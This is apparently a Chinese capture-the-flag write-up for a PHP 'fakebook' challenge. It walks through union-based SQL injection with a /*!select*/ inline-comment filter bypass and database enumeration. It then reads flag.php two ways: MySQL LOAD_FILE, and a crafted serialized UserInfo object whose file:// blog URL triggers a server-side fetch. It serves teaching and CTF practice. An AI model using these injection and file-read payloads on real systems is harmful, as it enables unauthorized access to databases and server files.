目录
信息收集
代码审计
思路
解法一(非预期解)
解法二(预期解)
信息收集
目录扫描+代码泄露扫描
robots.txt;flag.php;login.php;user.php;view.php;join.php;
直接打开flag.php后没有回显,应该需要通过ssrf来访问
在robots.txt发现user.php.bak
打开user.php.bak下载到一份源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
代码审计
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
初始化一个新的会话,返回一个cURL句柄,设置会话的url和返回方式为1(字符串文件返回,0则是输出到屏幕),执行ch然后判断响应码并返回执行的结果。
<?php // 创建一个新cURL资源 $ch = curl_init(); // 设置URL和相应的选项 curl_setopt($ch, CURLOPT_URL, "url"); curl_setopt($ch, CURLOPT_HEADER, 0/1); // 抓取URL并把它传递给浏览器 curl_exec($ch); // 关闭cURL资源,并且释放系统资源 curl_close($ch); ?>
思路
可以看到admin可以打开,打开后发现url里面有参数no,尝试注入:
- order by 5
报错,可以判断字段数为4。
- ?no=1 union select 1,2,3,4#
分别尝试union 和 select均没有被过滤,猜测应该是一起出现时才被过滤
内联注释绕过
内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。别和注释/*... */搞混了。
- ?no=-1 union /*!select*/ 1,2,3,4#
注入点为2
- ?no=-1 union /*!select*/ 1,database(),3,4#
- ?no=-1 union /*!select*/ 1,user(),3,4#
是root权限哇
- ?no=-1 union /*!select*/ 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
- ?no=-1 union /*!select*/ 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
查看data表
- ?no=-1 union /*!select*/ 1,group_concat('--',data,'--'),3,4 from fakebook.users#
--O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:13;s:4:"blog";s:12:"www.123qq.cn";}--
是个序列化后的UserInfo对象
解法一(非预期解)
在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
我们发现是root权限,load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下load_file(file_name):file_name是绝对路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件
- ?no=-1 union /*!select*/ 1,load_file("/var/www/html/flag.php"),3,4#
查看源码拿到flag
- 利用条件
1、必须有权限读取并且文件必须完全可读。
2、欲读取文件必须在服务器上
3、必须指定文件完整的路径
4、欲读取文件必须小于max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限。
在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到administrators才能访问的文件,
users就不能实现用load_file读取文件了。
解法二(预期解)
利用ssrf漏洞
可以看到data中存的是序列化数据,我们可以构造并传入序列化内容尝试利用ssrf漏洞读取flag.php。
因为只有在blog才有获取内容的入口和出口,我们尝试在blog(第四列)进行序列化字符串的注入
public function getBlogContents ()
{
return $this->get($this->blog);
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
poc
<?php
class UserInfo
{
public $name = "1";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
echo serialize($a);
?>
构造payload为:
- ?no=-1 union /*!select*/ 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
解码后得到flag